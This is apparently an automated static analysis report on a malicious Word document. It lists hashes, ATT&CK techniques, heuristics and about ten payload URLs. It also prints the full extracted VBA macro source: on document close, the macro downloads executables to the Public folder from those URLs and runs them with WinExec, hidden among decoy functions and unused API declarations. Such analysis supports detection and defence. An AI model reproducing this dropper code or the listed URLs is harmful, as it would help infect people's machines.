Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8a078f4a4c39b675…

MALICIOUS

Office (OOXML)

168.0 KB Created: 2020-08-20 14:07:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2020-09-07
MD5: 8ed5e22e341646553731e4ebde7d5ca1 SHA-1: 79814f7076ef4d18f7e84f1a3fc58ece0ec86516 SHA-256: 8a078f4a4c39b675b03380c3f10bf620a1ce6d4a91a50e285547d69b520d9a53
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros. The critical heuristic 'OLE_VBA_DOWNLOAD' indicates the presence of URLDownloadToFile, a common function used by malware to download and execute additional payloads. The VBA code itself, though partially obfuscated, appears to be designed to facilitate this download process. Several unknown URLs were extracted, which are likely sources for the malicious payload.

Heuristics 3

  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Declare PtrSafe Function SendNotifyMessage Lib "user32" Alias "SendNotifyMessageA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
    Declare PtrSafe Function cbkqwebdfi2u3iudidus Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ty5w As LongPtr, ByVal sdf As String, ByVal gh5e As String, ByVal asd3 As LongPtr, ByVal ghkj4 As LongPtr) As LongPtr
    Declare PtrSafe Function SetActiveWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://behtarzistan.ir/dewnkisrhdds/Pl Referenced by macro
    • http://raritet69.site/uffdjkqyjp/ds/PlReferenced by macro
    • http://ayphon.ir/tyxihubfg/Referenced by macro
    • http://vbhtrgovina24.si/mzocmmdxg/oReferenced by macro
    • http://ozcanelektronik.com.tr/afjjxfahfh/Referenced by macro
    • http://dacsan.pro/jccoeimuny/���PlReferenced by macro
    • http://global-auto.hu/rjwmgmd/Referenced by macro
    • http://rosemiracle.com/udcznx/Referenced by macro
    • http://quuuksh.com/ivnai/Referenced by macro
    • http://praktijkvanafnu.nl/xhdbwwlpph/Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 22329 bytes
SHA-256: 5c77557b5cbc07901b5af11216f8636e5016d7f5e0e83c87d50037eec29a1837
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "artaw34qw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub sg34taerg()
    Dim N, Lambda, Rezerv, Nekhvat, Perep, DZ As Integer
    N = 100
    Lambda = 5
    Rezerv = 15
    Nekhvat = 0
    Perep = 0
    DZ = 3
    Dim Zapros(), Sklad(), Postav() As Integer
    ReDim Zapros(N), Sklad(N), Postav(N + 3)
    For i = 1 To N
        Zapros(i) = Int(-Lambda * Log(Rnd))
        Postav(i) = 0
    Next
    Sklad(0) = 100
    For i = 1 To N
        Sklad(i) = Sklad(i - 1) - Zapros(i)
        Sklad(i) = Sklad(i) + Postav(i)
        If Sklad(i) < 0 Then
            Sklad(i) = 0
            Nekhvat = Nekhvat + 1
        End If
        If Sklad(i) <= Rezerv Then
            nz = Int(DZ * Rnd) + 1
            Postav(i + nz) = 80
        End If
        If Sklad(i) > 100 Then
            Perep = Perep + 1
        End If
    Next i
End Sub

Function FIO(fi As String, im As String, ot As String, pol As String) As String
      
    fi = StrConv(Trim(fi), vbLowerCase)
    im = StrConv(Trim(im), vbLowerCase)
    ot = StrConv(Trim(ot), vbLowerCase)
    pol = pol
      
    fi_s = Len(fi)
    im_s = Len(im)
    ot_s = Len(ot)
    If pol = "?" Then
        
      For i = fi_s To fi_s - (fi_s + 2) Step -1
      If fi_s = 0 Then GoTo fi
      k = Mid(fi, i, 1)
        If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
          k = "?" Or k = "?" Or k = "?" Then
           k = Mid(fi, i - 1, 1)
            If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
                k = "?" Or k = "?" Or k = "?" Then
              
            Else
              k = Mid(fi, i - 2, 1)
              
              If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
                k = "?" Or k = "?" Or k = "?" Then
                fi_str = Left(fi, i - 1) & "??"
                Exit For
              Else
              
                fi_str = fi
                Exit For
              End If
              
            End If
              
        Else
          fi_str = fi
          Exit For
        End If
      Next
fi:
      For i = im_s To im_s - (im_s + 2) Step -1
         If im_s = 0 Then GoTo im
         k = Mid(im, i, 1)
        'MsgBox k
        If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
          k = "?" Or k = "?" Or k = "?" Then
          'If i > 1 Then
            k = Mid(im, i - 1, 1)
            If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
                k = "?" Or k = "?" Or k = "?" Then
              im_str = Left(im, i - 2) & "??"
              Exit For
              
            Else
              im_str = Left(im, i - 1) & "?"
              Exit For
            End If
          'End If
        ElseIf k = "?" Then
          im_str = Left(im, i - 1) & "?"
          Exit For
        Else
          im_str = im
          Exit For
        End If
      Next
im:
      If ot_s <> 0 Then
        ot_str = Left(ot, Len(ot) - 1) & "?"
      End If
    ElseIf pol = "?" Then
      'MsgBox "? - ??? ?? ?????"
        
      For i = fi_s To fi_s - (fi_s + 2) Step -1
      If fi_s = 0 Then GoTo fi1
      k = Mid(fi, i, 1)
        If k = "?" Or k = "?" Or k = "?" Or k = "?" Or k = "?" Or _
          k = "?" Or k = "?" Or k = "?" Then
          fi_str = fi
          Exit For
        Else
          fi_str = fi & "?"
          Exit For
            
        End If
      Next
fi1:
      For i = im_s To im_s - (im_s + 2) Step -1
      If im_s = 0 Then GoTo im1
        k = Mid(im, i, 1)
        If k = "?" Or k = "?" Then
          im_str = Left(im, Len(im) - 1) & "?"
          Exit For
        Else
          im_str = im & "?"
          Exit For
        End If
      Next
im1:
      If ot_s <> 0 Then
        ot_str = ot & "?"
      End If
    End If
    FIO = StrConv(fi_str, vbProperCase) & " " & StrConv(im_str, vbProperCase) & " " & StrConv(ot_str, vbProperCase)
End Function

Private Sub Document_Close()
                    gkl3hkisaugfia4uw3git3w4iu.dfyghse5s
                    
End Sub

Sub gd23rgkj()
    Dim message As String
    Dim buttonsandicons As Integer
    Dim title As String
    Dim response As String
    message = "?????? ??????"
    title = "?????"
    buttonasicons = vbYesNo + vbQuestion
    response = MsgBox(message, buttonasicons, title)
    If response = vbYes Then
        End
    End If
End Sub


Attribute VB_Name = "gjdr6udt"
Attribute VB_Base = "0{3824CC3F-1CA3-4799-9FBF-FA2B2340F51C}{220C8C81-20DC-4056-9784-C88AAE3B0D63}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "gkl3hkisaugfia4uw3git3w4iu"
#If VBA7 Then
Declare PtrSafe Function EnumChildWindows Lib "user32" (ByVal hWndParent As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As Boolean
Declare PtrSafe Function FreeDDElParam Lib "user32" (ByVal msg As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function GetActiveWindow Lib "user32" () As LongPtr
Declare PtrSafe Function GetAsyncKeyState Lib "user32" (ByVal vKey As LongPtr) As Integer
Declare PtrSafe Function GetCapture Lib "user32" () As LongPtr
Declare PtrSafe Function GetCaretBlinkTime Lib "user32" () As LongPtr
Declare PtrSafe Function GetClassLong Lib "user32" Alias "GetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As LongPtr, ByVal lpClassName As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardData Lib "user32" Alias "GetClipboardDataA" (ByVal wFormat As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As LongPtr, ByVal lpString As String, ByVal nMaxCount As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardOwner Lib "user32" () As LongPtr
Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPtr
Declare PtrSafe Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal lpString As String) As LongPtr
Declare PtrSafe Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As LongPtr, ByVal uItem As LongPtr, ByVal fByPos As LongPtr) As Boolean
Declare PtrSafe Function EnumPropsEx Lib "user32" Alias "EnumPropsExA" (ByVal hWnd As LongPtr, ByVal lpEnumFunc As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As LongPtr) As LongPtr
Declare PtrSafe Function GetClipboardViewer Lib "user32" () As LongPtr
Declare PtrSafe Function SetClipboardData Lib "user32" Alias "SetClipboardDataA" (ByVal wFormat As LongPtr, ByVal hMem As LongPtr) As LongPtr
Declare PtrSafe Function DestroyMenu Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function DestroyWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectComboBoxEx Lib "user32" Alias "DlgDirSelectComboBoxExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idComboBox As LongPtr) As LongPtr
Declare PtrSafe Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As LongPtr, ByVal lpszPath As String, ByVal cbPath As LongPtr, ByVal idListBox As LongPtr) As LongPtr
Declare PtrSafe Function CopyImage Lib "user32" (ByVal Handle As LongPtr, ByVal un1 As LongPtr, ByVal n1 As LongPtr, ByVal n2 As LongPtr, ByVal un2 As LongPtr) As LongPtr
Declare PtrSafe Function DrawIconEx Lib "user32" (ByVal hDC As LongPtr, ByVal xLeft As LongPtr, ByVal yTop As LongPtr, ByVal hIcon As LongPtr, ByVal cxWidth As LongPtr, ByVal cyWidth As LongPtr, ByVal istepIfAniCur As LongPtr, ByVal hbrFlickerFreeDraw As LongPtr, ByVal diFlags As LongPtr) As Boolean
Declare PtrSafe Function DrawMenuBar Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function BringWindowToTop Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function CloseDesktop Lib "user32" (ByVal hDesktop As LongPtr) As Boolean
Declare PtrSafe Function SetClipboardViewer Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetDlgItemInt Lib "user32" (ByVal hDlg As LongPtr, ByVal nIDDlgItem As LongPtr, ByVal wValue As LongPtr, ByVal bSigned As LongPtr) As LongPtr
Declare PtrSafe Function CloseWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function CreateMenu Lib "user32" () As LongPtr
Declare PtrSafe Function DdeFreeDataHandle Lib "user32" (ByVal hData As LongPtr) As LongPtr
Declare PtrSafe Function DestroyAcceleratorTable Lib "user32" (ByVal haccel As LongPtr) As LongPtr
Declare PtrSafe Function DestroyCaret Lib "user32" () As LongPtr
Declare PtrSafe Function DestroyCursor Lib "user32" (ByVal hCursor As LongPtr) As LongPtr
Declare PtrSafe Function DestroyIcon Lib "user32" (ByVal hIcon As LongPtr) As LongPtr
Declare PtrSafe Function GetMenu Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetMenuCheckMarkDimensions Lib "user32" () As LongPtr
Declare PtrSafe Function GetMenuItemCount Lib "user32" (ByVal hMenu As LongPtr) As LongPtr
Declare PtrSafe Function GetQueueStatus Lib "user32" (ByVal fuFlags As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollPos Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr) As LongPtr
Declare PtrSafe Function GetScrollRange Lib "user32" (ByVal hWnd As LongPtr, ByVal nBar As LongPtr, lpMinPos As LongPtr, lpMaxPos As LongPtr) As LongPtr
Declare PtrSafe Function GetDC Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function GetFocus Lib "user32" () As LongPtr
Declare PtrSafe Function sadfjkl23hkl Lib "kernel32" Alias "WinExec" (ByVal bder356 As String, ByVal vszdf46457 As LongPtr) As Long
Declare PtrSafe Function SendMessageTimeout Lib "user32" Alias "SendMessageTimeoutA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr, ByVal fuFlags As LongPtr, ByVal uTimeout As LongPtr, lpdwResult As LongPtr) As LongPtr
Declare PtrSafe Function SendNotifyMessage Lib "user32" Alias "SendNotifyMessageA" (ByVal hWnd As LongPtr, ByVal msg As LongPtr, ByVal wParam As LongPtr, ByVal lParam As LongPtr) As LongPtr
Declare PtrSafe Function cbkqwebdfi2u3iudidus Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ty5w As LongPtr, ByVal sdf As String, ByVal gh5e As String, ByVal asd3 As LongPtr, ByVal ghkj4 As LongPtr) As LongPtr
Declare PtrSafe Function SetActiveWindow Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCapture Lib "user32" (ByVal hWnd As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As LongPtr) As LongPtr
Declare PtrSafe Function SetCaretPos Lib "user32" (ByVal x As LongPtr, ByVal y As LongPtr) As LongPtr
Declare PtrSafe Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal dwNewLong As LongPtr) As LongPtr
Declare PtrSafe Function SetClassWord Lib "user32" (ByVal hWnd As LongPtr, ByVal nIndex As LongPtr, ByVal wNewWord As LongPtr) As LongPtr

#Else
Declare Function GetClipboardOwner Lib "user32" () As Long
Declare Function GetClipboardViewer Lib "user32" () As Long
Declare Function GetDesktopWindow Lib "user32" () As Long
Declare Function CopyIcon Lib "user32" (ByVal hIcon As Long) As Long
Declare Function CopyImage Lib "user32" (ByVal Handle As Long, ByVal bcvmnxsbcvjhvrjh2v As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal un2 As Long) As Long
Declare Function CountClipboardFormats Lib "user32" () As Long
Declare Function CreateCaret Lib "user32" (ByVal hWnd As Long, ByVal hBitmap As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Declare Function GetFocus Lib "user32" () As Long
Declare Function GetLastActivePopup Lib "user32" (ByVal hwndOwnder As Long) As Long
Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long
Declare Function DlgDirSelectEx Lib "user32" Alias "DlgDirSelectExA" (ByVal hWndDlg As Long, ByVal lpszPath As String, ByVal cbPath As Long, ByVal idListBox As Long) As Long
Declare Function DrawIcon Lib "user32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long
Declare Function DrawIconEx Lib "user32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal cxWidth As Long, ByVal cyWidth As Long, ByVal istepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As Boolean
Declare Function DrawMenuBar Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wValue As Long, ByVal bSigned As Long) As Long
Declare Function GetMessageExtraInfo Lib "user32" () As Long
Declare Function DrawState Lib "user32" Alias "DrawStateA" (ByVal hDC As Long, ByVal hBrush As Long, ByVal lpDrawStateProc As Long, ByVal lParam As Long, ByVal wParam As Long, ByVal n1 As Long, ByVal n2 As Long, ByVal n3 As Long, ByVal n4 As Long, ByVal un As Long) As Boolean
Declare Function EmptyClipboard Lib "user32" () As Long
Declare Function EnableMenuItem Lib "user32" (ByVal hMenu As Long, ByVal wIDEnableItem As Long, ByVal wEnable As Long) As Long
Declare Function EnableScrollBar Lib "user32" (ByVal hWnd As Long, ByVal wSBflags As Long, ByVal wArrows As Long) As Long
Declare Function EnableWindow Lib "user32" (ByVal hWnd As Long, ByVal fEnable As Long) As Long
Declare Function EndDeferWindowPos Lib "user32" (ByVal hWinPosInfo As Long) As Long
Declare Function EndDialog Lib "user32" (ByVal hDlg As Long, ByVal nResult As Long) As Long
Declare Function GetMessagePos Lib "user32" () As Long
Declare Function GetTabbedTextExtent Lib "user32" Alias "GetTabbedTextExtentA" (ByVal hDC As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long) As Long
Declare Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String) As Long
Declare Function SetDoubleClickTime Lib "user32" (ByVal wCount As Long) As Long
Declare Function SetMenu Lib "user32" (ByVal hWnd As Long, ByVal hMenu As Long) As Long
Declare Function SetMenuContextHelpId Lib "user32" (ByVal hMenu As Long, ByVal dw As Long) As Boolean
Declare Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As Long, ByVal uItem As Long, ByVal fByPos As Long) As Boolean
Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Declare Function TabbedTextOut Lib "user32" Alias "TabbedTextOutA" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long, ByVal nTabOrigin As Long) As Long
Declare Function GetDialogBaseUnits Lib "user32" () As Long
Declare Function GetDlgCtrlID Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetForegroundWindow Lib "user32" () As Long
Declare Function GetInputState Lib "user32" () As Long
Declare Function GetDlgItem Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
Declare Function GetDlgItemInt Lib "user32" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpTranslated As Long, ByVal bSigned As Long) As Long
Declare Function GetDlgItemText Lib "user32" Alias "GetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetDoubleClickTime Lib "user32" () As Long
Declare Function CloseClipboard Lib "user32" () As Long
Declare Function CloseDesktop Lib "user32" (ByVal sdfkn234jbhiwefisu As Long) As Boolean
Declare Function CloseWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function CloseWindowStation Lib "user32" (ByVal hWinSta As Long) As Boolean
Declare Function CopyCursor Lib "user32" (ByVal hcur As Long) As Long
Declare Function GetClipboardFormatName Lib "user32" Alias "GetClipboardFormatNameA" (ByVal wFormat As Long, ByVal lpString As String, ByVal nMaxCount As Long) As Long
Declare Function GetMessageTime Lib "user32" () As Long
Declare Function GetOpenClipboardWindow Lib "user32" () As Long
Declare Function ExcludeUpdateRgn Lib "user32" (ByVal hDC As Long, ByVal hWnd As Long) As Long
Declare Function ExitWindows Lib "user32" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Declare Function GetMenuCheckMarkDimensions Lib "user32" () As Long
Declare Function GetMenuContextHelpId Lib "user32" (ByVal hMenu As Long) As Long
Declare Function SendMessageCallback Lib "user32" Alias "SendMessageCallbackA" (ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long, ByVal lpResultCallBack As Long, ByVal dwData As Long) As Long
Declare Function SetActiveWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function cbkqwebdfi2u3iudidus Lib "urlmon" Alias "URLDownloadToFileA" (ByVal srser As Long, ByVal gf3g As String, ByVal gjghi42 As String, ByVal uitui34 As Long, ByVal bck2j As Long) As Long
Declare Function SetCapture Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As Long) As Long
Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Declare Function SetWindowWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Declare Function sadfjkl23hkl Lib "kernel32" Alias "WinExec" (ByVal bder356 As String, ByVal vszdf46457 As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function ReuseDDElParam Lib "user32" (ByVal lParam As Long, ByVal msgIn As Long, ByVal msgOut As Long, ByVal uiLo As Long, ByVal uiHi As Long) As Long
Declare Function SendDlgItemMessage Lib "user32" Alias "SendDlgItemMessageA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetCaretPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetClassWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Declare Function SetCursor Lib "user32" (ByVal sfkwhbv3vgoifgw7goig3ori2gwo8rgfwoy3r2f3 As Long) As Long
#End If

Public Function sgaw4taw(Num As Double, d As Integer) As Double
     Dim a As Double
     Dim r As Double
     Dim b As Double
     a = Num Mod d
     If a > (d / 2) Then
      b = d - a
      r = Num + b
     Else
      r = Num - a
     End If
     sgaw4taw = r
End Function
    
Public Function chetniysum(Massiv As Range)
    Dim i As Integer, Count As Integer
    Count = 1
    Arr = Massiv.Value
    For i = LBound(Arr, 1) To UBound(Arr, 1)
        For j = LBound(Arr, 2) To UBound(Arr, 2)
            If Val(Arr(i, j)) Mod 2 = 0 Then Count = Count * Val(Arr(i, j))
        Next j
    Next i
    chetniysum Count
End Function

Public Sub dfyghse5s()
    Dim awrq34 As Integer
    Dim lbfhj34(1 To 10) As Label
    Set lbfhj34(1) = gjdr6udt.Label1: Set lbfhj34(2) = gjdr6udt.Label2: Set lbfhj34(3) = gjdr6udt.Label3: Set lbfhj34(4) = gjdr6udt.Label4: Set lbfhj34(5) = gjdr6udt.Label5
    Set lbfhj34(6) = gjdr6udt.Label6: Set lbfhj34(7) = gjdr6udt.Label7: Set lbfhj34(8) = gjdr6udt.Label8: Set lbfhj34(9) = gjdr6udt.Label9: Set lbfhj34(10) = gjdr6udt.Label10
    awrq34 = 10

    #If VBA7 Then
        Dim rs As LongPtr
    #Else
        Dim rs As Long
    #End If
    Dim ct As Long
    ct = DateDiff("s", "1/1/1970", Date + Time)
    afs4kwjoaiwheofiauswge.Show False
    afs4kwjoaiwheofiauswge.Repaint
    For i = 1 To awrq34
        Dim sjhfk, fkj34k As String
        gjdr6udt.TextBox1.Text = "C:\Use"
        gjdr6udt.TextBox2.Text = "rs\Pu"
        gjdr6udt.TextBox3.Text = gjdr6udt.TextBox1.Text + gjdr6udt.TextBox2.Text
        gjdr6udt.TextBox3.Text = gjdr6udt.TextBox3.Text + "blic\file"
        sjhfk = gjdr6udt.TextBox3.Text + CStr(i) + ".e" & "xe"
        
        fkj34k = gjdr6udt.TextBox3.Tag + sjhfk + "')"
                
        rs = cbkqwebdfi2u3iudidus(0, lbfhj34(i).Caption + CStr(ct) & ".p" + "ng", sjhfk, 0, 0)
        If rs = 0 Then
            sadfjkl23hkl sjhfk, 0
            Exit For
        End If
    Next
    afs4kwjoaiwheofiauswge.Hide
End Sub

Public Function nasGetCharCount(ByVal strText As String, Optional strFindChar As String = " ") As Long
     Dim gccArray() As String
     If strText = vbNullString Then
        nasGetCharCount = 0: Exit Function
     End If
     gccArray = Split(strText, strFindChar)
     nasGetCharCount = UBound(gccArray)
End Function
       



Attribute VB_Name = "afs4kwjoaiwheofiauswge"
Attribute VB_Base = "0{EEE52A1D-1C7F-44CC-8526-A52333A1F1DB}{81017C8C-E782-4E1A-9AF2-F79FF5455176}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 58368 bytes
SHA-256: 3a65bc2b9b510924d6c05eb43fba59ffce05de4a628143dcdc7a50489997bdf8